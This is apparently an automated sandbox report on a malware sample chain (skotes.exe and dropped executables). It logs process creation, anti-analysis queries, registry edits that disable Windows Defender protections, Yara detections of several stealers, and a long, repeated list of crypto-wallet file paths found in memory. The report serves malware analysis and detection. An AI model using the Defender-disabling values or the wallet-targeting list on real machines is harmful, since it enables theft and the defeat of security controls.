Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe "C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe "C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAEBGHCFCA.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBAEBGHCFCA.exe "C:\Users\user\DocumentsBAEBGHCFCA.exe"

Source: 44e053de15.exe, 00000007.00000002.2986264615.0000000006725000.00000040.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000002.2934638761.0000000006AF5000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Q\xProgram Manager
Source: 44e053de15.exe, 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: zProgram Manager
Source: 44e053de15.exe	Binary or memory string: Q\xProgram Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: 7Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_009ADD91 cpuid

6_2_009ADD91

Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004528001\pohtent.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004528001\pohtent.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C2CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00C2CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_009965E0 LookupAccountNameA,

6_2_009965E0

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 44e053de15.exe, 00000007.00000003.2532422211.000000000574E000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2531919403.0000000001264000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2659578852.0000000001679000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2659116932.000000000164E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 22.2.DocumentsBAEBGHCFCA.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.c10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2841128463.00000000009E1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 3288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 5180, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 7.2.44e053de15.exe.62b0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.44e053de15.exe.6680000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.932a9eb371.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.932a9eb371.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.932a9eb371.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2869260656.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2752337356.0000000008AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2985941651.00000000062B1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2842323679.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2866571637.0000000000031000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2452950173.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2797456590.000000000101E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2787161669.0000000000031000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2949918486.0000000000031000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2656371026.0000000008520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2592438945.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2934224445.0000000006681000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 3288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 932a9eb371.exe PID: 3980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 5180, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: 932a9eb371.exe PID: 3980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 5180, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 44e053de15.exe, 00000007.00000002.2963311697.000000000123F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: allets/Electrum"'@
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 44e053de15.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 44e053de15.exe, 00000007.00000002.2963311697.000000000123F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Exodus\\exodus
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron 